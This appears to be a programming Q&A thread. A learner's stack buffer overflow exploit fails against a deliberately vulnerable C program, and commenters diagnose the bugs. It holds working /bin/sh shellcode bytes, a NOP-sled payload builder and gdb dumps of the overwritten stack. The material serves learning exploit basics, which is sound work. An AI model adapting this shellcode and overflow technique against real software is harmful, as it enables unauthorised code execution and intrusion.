I am learning ethical hacking, so I am doing simple overflow stack attack to overwrite saved return pointer. Here's my vulnerable program(compiled without canary and NX protection,
-fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
) and program, that creates buffer(NOP__SHELLCODE__RET) and calls vulnerable program. Everything is really simple, however dont work -_-. Overflowing is working, but shellcode after it isn't performed, but saved return pointer in vulnerable program is on NOP.
Vulnerable program(command.c):
void somefunc(char **argv){
char buffer[30];
strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
if(argc==2)
somefunc(argv);
else
printf("There is no args");
printf("__RET FROM MAIN OF COMMAND__");
}
Exploit(exploit.c):
//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv)
{
unsigned int mem_i , ret, *ptr, offset=0;
if(argc < 2){
printf("Usage: <exploit> offset\n");
return 0;
}
offset = atoi(argv[1]);
const char *cc = "./command";
char* buffer = (char*)malloc(200);
bzero(buffer, 200);
ret = (unsigned int)&mem_i + offset;
for(mem_i = 0; mem_i < 160; mem_i+=4) //writing data with RET(return address pointer)
*((unsigned int *)(buffer+mem_i)) = ret;
memset(buffer, 0x90, 100);// NOP Sledding
memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//writing shelcode
execl(cc, cc, buffer, NULL);//exec vulnerable programm
// -----------------------------------------------------------------------------------------
// | NOP | shellcode | RET |
// -----------------------------------------------------------------------------------------
}
as I have noticed, shellcode perform /bin/sh So there's reason to look at what saying my favourite gdb ;)
----> gdb exploit
...
/*breakpoint at "execl(cc, cc, buffer, NULL);", before it performed*/
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090 0x90909090 0x90909090 0x90909090/*It is NOP*/
...
0x5555555592f0: 0x90909090 0x90909090 0x90909090 0x90909090
0x555555559300: 0x90909090 '0xfe58426a 0x529948c4 0x622fbf48/*SHELLCOdE*/
0x555555559310: 0x2f2f6e69 0x54576873 0xd089495e 0x0fd28949'
0x555555559320: 0xffffde05 0xffffde44 0xffffde44 0xffffde44/*return address pointer*/
0x555555559330: 0xffffde44 0xffffde44 0xffffde44 0xffffde44
(gdb) next
/*next we are goint in command, because code calling it(execl(cc, cc, buffer, NULL)*/
(gdb) disass main
...
0x00005555555551ef <+32>: call 0x555555555169 <somefunc>
0x00005555555551f4 <+37>: jmp 0x555555555207 <main+56>/*this address somefunc()
will save as saved return pointer*/
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8 strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddd0: 0xffffddf0 0x00007fff '0x555551f4 0x00005555'
/*it is saved return pointer, that we need to overwrite, 0x00005555555551f4)*/
...
(gdb) next
//have writed out buffer in stack
(gdb) x/64xw $rsp
...
0x7fffffffddd0: 0x90909090 0x90909090 '0x90909090 0x90909090'/*we have
overwritten saved return pointer to NOP*/
0x7fffffffdde0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffddf0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffde00: 0x90909090 0x90909090 0x90909090 0x90909090
/*next is going shellcode*/
0x7fffffffde10: 0x90909090 '0xfe58426a 0x529948c4 0x622fbf48
0x7fffffffde20: 0x2f2f6e69 0x54576873 0xd089495e 0x0fd28949
0x7fffffffde30: 0xffffde05' 0xffffde44 0xffffde44 0xffffde44
0x7fffffffde40: 0xffffde44 0xffffde44 0xffffde44 0xffffde44
Everything should work, because we have overwritten saved return pointer(0x00005555555551f4) to NOP, however shellcode isn't performed. What's the problem?
0x0x7fffffffddd8
is the return address, not the return code. You need to overwrite it with the address of your shellcode, not with the code itself. As it stands, when the program executesret
it will jump to address0x9090909090909090
which is obviously not what you want. - Nate Eldredgefor
line carefully filled your buffer with the valueret
, which apparently is the return address you desire - and then on the very next line you went and overwrote the whole thing with nops. That doesn't make sense. - Nate Eldredge*((unsigned int *)(buffer+mem_i)) = ret;
is wrong on a 64-bit system -unsigned int
is only 32 bits, but addresses are 64 bits. If you're trying to use 32-bit example code in a 64-bit program, it's not going to work; you would need to build it as a 32-bit program using-m32
when compiling. - Nate Eldredge